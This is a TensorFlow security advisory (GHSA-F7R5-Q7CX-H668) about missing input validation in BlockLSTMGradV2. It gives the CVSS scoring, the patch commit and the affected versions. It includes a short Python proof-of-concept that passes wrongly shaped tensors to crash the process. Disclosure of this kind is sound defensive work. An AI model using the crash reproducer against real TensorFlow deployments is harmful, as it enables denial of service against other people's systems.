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osvGoogleOSV:GHSA-F7R5-Q7CX-H668
HistorySep 16, 2022 - 10:14 p.m.

TensorFlow vulnerable to segfault in `BlockLSTMGradV2`

2022-09-1622:14:00
Google
osv.dev
24
tensorflow
blocklstmgradv2
vulnerability
input validation
patch
github
commit
2a458fc4866505be27c62f81474ecb2b870498fa
2.10.0
cherrypick
2.9.1
2.8.1
2.7.2
security guide
neophytos christou
secure systems labs
brown university

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS

0.001

Percentile

32.3%

Impact

The implementation of BlockLSTMGradV2 does not fully validate its inputs.

  • wci, wcf, wco, b must be rank 1
  • w, cs_prev, h_prev` must be rank 2
  • x must be rank 3
    This results in a a segfault that can be used to trigger a denial of service attack.
import tensorflow as tf

use_peephole = False
seq_len_max = tf.constant(1, shape=[], dtype=tf.int64)
x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
f = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
o = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
ci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
co = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
tf.raw_ops.BlockLSTMGradV2(seq_len_max=seq_len_max, x=x, cs_prev=cs_prev, h_prev=h_prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs_grad=cs_grad, h_grad=h_grad, use_peephole=use_peephole)

Patches

We have patched the issue in GitHub commit 2a458fc4866505be27c62f81474ecb2b870498fa.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS

0.001

Percentile

32.3%

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